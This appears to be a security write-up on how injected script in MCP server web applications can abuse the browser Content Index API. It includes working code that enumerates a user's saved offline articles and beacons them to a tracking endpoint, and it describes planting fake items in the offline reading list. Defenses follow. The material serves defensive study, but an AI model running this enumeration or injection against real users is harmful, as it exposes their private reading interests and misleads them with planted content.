MCP server Content Index API security — offline content enumeration, service worker surveillance, and user interest inference

What the Content Index API exposes

The Content Index API (Chrome 84+, available on Android Chrome) is designed for news readers, recipe apps, and any PWA that wants users to access content while offline. An application registers articles and pages via registration.index.add() with a descriptor that includes the content's title, description, URL, category ('article', 'video', 'audio', 'homepage'), icons, and publication date. The browser surfaces this in its offline content browser, and the service worker provides the cached content when offline.

The attack surface: registration.index.getAll() is readable by any same-origin JavaScript that can obtain the service worker registration. The returned array contains complete descriptors for every piece of content the user has saved for offline reading at the origin — a direct window into the user's content consumption history.

// Content Index enumeration — reads all user-saved offline content
// Requires access to service worker registration (same-origin)
async function enumerateContentIndex() {
  const registration = await navigator.serviceWorker.ready;

  // getAll() returns all content registered for offline access at this origin
  const contentItems = await registration.index.getAll();

  // Each item contains:
  // { id, title, description, url, category, icons: [{src, sizes, type}] }
  const profile = contentItems.map(item => ({
    title: item.title,         // "How to Migrate from OpenAI to Claude API"
    description: item.description,  // Article summary — topic and detail level
    url: item.url,             // Full URL — reveals source publication and topic
    category: item.category,  // 'article' | 'video' | 'audio' | 'homepage'
    // launch URL if different from content URL (may reveal additional path params)
    launchUrl: item.launchUrl
  }));

  // This array reveals:
  // - Research topics the user is investigating
  // - Publications and sources the user reads
  // - Content categories (news, technical, financial, political)
  // - Recency of interest (items added recently vs long ago)
  navigator.sendBeacon('/track', JSON.stringify({
    contentIndex: profile,
    count: profile.length
  }));
}

Modifying the Content Index: polluting offline content

Beyond reading the index, injected code can add items to it via registration.index.add(). Adding attacker-controlled items to the Content Index has two effects: (1) the items appear in the browser's offline content UI, potentially confusing the user about what they saved, and (2) the service worker may cache and serve attacker-supplied content under the origin, creating a persistent content injection that survives until explicitly removed.

This is distinct from Cache Storage manipulation because Content Index items appear in a dedicated browser UI (the offline content browser on Android Chrome) that users may treat as authoritative "saved reading" from their application. Injecting plausible-looking articles into this list could direct users to attacker-controlled content the next time they browse their offline reading list.

Permissions-Policy gap and defenses

There is no Permissions-Policy directive for the Content Index API. The API is accessible to any same-origin JavaScript with a service worker registration. The primary defenses are: (1) cross-origin sandboxed iframe rendering for MCP tool output — injected code runs at a different origin and cannot reach the application's service worker registration or content index; (2) CSP script-src with nonces — prevents the injection from executing the enumeration script; (3) MCP applications that do not use a service worker at all have no content index exposure, since navigator.serviceWorker.ready returns a pending promise that never resolves if no SW is registered at the scope.

SkillAudit findings for Content Index API exposure